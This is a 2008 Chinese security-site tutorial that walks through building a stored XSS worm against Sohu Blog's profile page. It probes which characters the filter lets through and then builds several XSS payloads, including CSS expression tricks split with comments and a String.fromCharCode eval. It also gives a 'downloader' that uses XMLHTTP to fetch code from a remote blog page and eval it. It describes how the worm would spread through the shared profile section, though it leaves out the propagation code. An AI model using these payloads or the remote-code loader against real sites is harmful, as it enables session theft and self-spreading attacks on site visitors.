通行证│用户名: 密码: 验证码: 验证码,看不清楚?请点击刷新验证码 电信网通铁通移动   在线
文章搜索:
热门搜索:红客 黑鹰 红客技术 安全动画 红客培训
首页 文章 软件 动画 资源 励志 论坛 邮箱 会员 军事 科技 博客 爱心红客 最近更新 800g资源
 业内新闻 漏洞公告 病毒公告 电脑知识 网络知识 菜鸟入门 攻防教程 黑客攻防 安全编程 工具使用 综合安全 个人安全 安全相关 Q Q安全 原创精华 红客人物 站内事件
您现在的位置: 爱国者安全网 >> 文章类 >> 红客教程 >> 网络攻防 >> 文章正文
推荐:完整的XSS wrom安全检测实例示范
责任编辑:酷酷の鱼   更新日期:2008-2-15
 

来源:安全中国

XSS wrom网站如何实现入侵?  

  1. 测试过滤字符,下面都是构造XSS所需要的关键字符(未包含全角字符,空格是个TABLE,\/前是真正的空格),在个人档案处看过滤了哪些。  

  ’’;:!--"<javascript JAvaSCriPT>=&#{()} \/   

  结果   

  ’’;:!--"=&#{()} // (&后是amp,论坛过滤了)   

  过滤了"javascript","&"和"\"这两个转义字符串,因此HTML转码和CSS样式转码已无效,只好从属性和事件入手。  

  2. 测试一个XSS常用属性和两个事件,貌似没有过滤字符。     
expression   
onerror   
onload   

  3. 下面开始尝试构造语句。如下:  

  <img src="#" style="Xss:expression(alert(’xss’));">   

  <img src="#" onerror=alert(’xss’)>   

  <img src="/Article/UploadFiles/200702/20070202101404522.jpg" onload=alert(’xss’)>   

  构造完整标记,页面输出后又全部过滤。  

  4. "/"字符没有过滤因此可以构造/*xxxx*/注释符,expression属性可以配合注释符构造出语句:  

  <div style="xss:ex/**/pre/**/ssion(alert(’xss’))">   

  5. 由于expression属性比较特殊想当于一个死循环的EVAL函数,同时style标记里不能出现";"字符,也就是不能构造多条连接在一起的javascript,因此构造出如下语句:  

  <DIV STYLE="xss:ex/**/pre/**/ssion(eval(xss));" xss="var Then=new Date();Then.setTime(Then.getTime()+10*1000);if(document.cookie.indexOf(’Cookie1=’) == -1){document.cookie=’Cookie1=RAY;expires=’+Then.toGMTString();alert(’xss’);}">   

  //设置一个COOKIE在10秒后失效,并在这条COOKIE语句中执行其他语句或函数。  

  6. 遗憾的是SOHU BLOG对于标记内不合适的内容都会过滤,因此我们无法eval标记内的某个变量,于是采用fromCharCode方法,将Unicode字符值专成字符串再用eval函数执行:   

  <div style="xss:ex/**/pre/**/ssion(eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41)))">   

  7. 感染流程考虑:  

  ㈠ BLOG页面的个人档案处是页面通用的  

  ㈡ XSS内容写到个人档案处,所有浏览者都会触发XSS   

  ㈢ 实现一段提交XSS内容到个人档案的代码.   

  8. 个人档案处只能输入2048个字符,又采用了fromCharCode方法,因此出现XSS代码长度的限制,因此只能调用远程代码,于是写出了个XSS downloader。  

  主要代码:  

  function d(){   
a=new ActiveXObject(’Microsoft.XMLHTTP’); /*调用XMLHTTP控件   
a.Open(’get’,http://s0n9.blog.sohu.com/31406970.html’,false);/*发出一个GET提交请求   
a.send();   
b=a.responseText; /*将传回值赋给变量B   
eval(unescape(b.substring(b.indexOf(’--|’)+3,b.indexOf(’|--’))));   
/*用indexOf计算 --|********|-- 的位置,用substring方法取出字符串,最后用unescape方法解码.   
}d()   

  http://s0n9.blog.sohu.com/31406970.html 页面代码:   

  alert%28%27xss%27%29%3B   
/*利用escape将标点符号转码,由于responseText特性,某些字符会转换,如"&"字符会变成"&"(&后是amp,论坛过滤了)   

  其他传染和详细的伪造提交的过程略去,各门户网站小心,过滤好XSS关键字,以防止XSS WROM爆发 。

  • 上一篇文章:
  • 下一篇文章:
  • 最近更新
    普通文章 隐藏VPN传入的连接技巧
    普通文章 计算机安全知识连载(1)认识什么是补丁
    普通文章 Seagull PHP Framework optimizer.php的泄露漏洞
    普通文章 U盘病毒隐患重重杀毒软件如何主动防御
    普通文章 GE-Fanuc CIMPLICITY w32rtr.exe 远程堆溢出漏洞
    普通文章 BitTorrent和uTorrent Peers 窗口缓冲区溢出漏洞
    推荐文章 推荐:完整的XSS wrom安全检测实例示范
    普通文章 二男青年操纵"灰鸽子"盗款48万元被起诉
    普通文章 邮件病毒冒充好友 专家提醒用户需小心谨慎
    普通文章 德国政府密谋拦截并破解Skype通话
    热门文章
    固顶文章迎新年,献爱心。
    普通文章瑞星公司02月05日发布 每日计算机病毒及木马播报
    普通文章上网购物 “拜年”病毒须提防
    普通文章国家计算机病毒中心提醒春节要防范网游大盗等病毒
    普通文章遭Alexa“恶搞” 腾讯变成火葬网?
    普通文章“玛格尼亚”变种bde修改注册表 自动运行
    普通文章网上发布“传奇私服”广告 四川夫妇被判罚百万
    普通文章Google炮轰微软 称其收购雅虎是为垄断互联网
    普通文章OpenBSD rtlabel_id2name()本地拒绝执行服务漏洞
    普通文章Visual FoxPro的vfp6r.dll ActiveX 代码执行漏洞
    精彩专题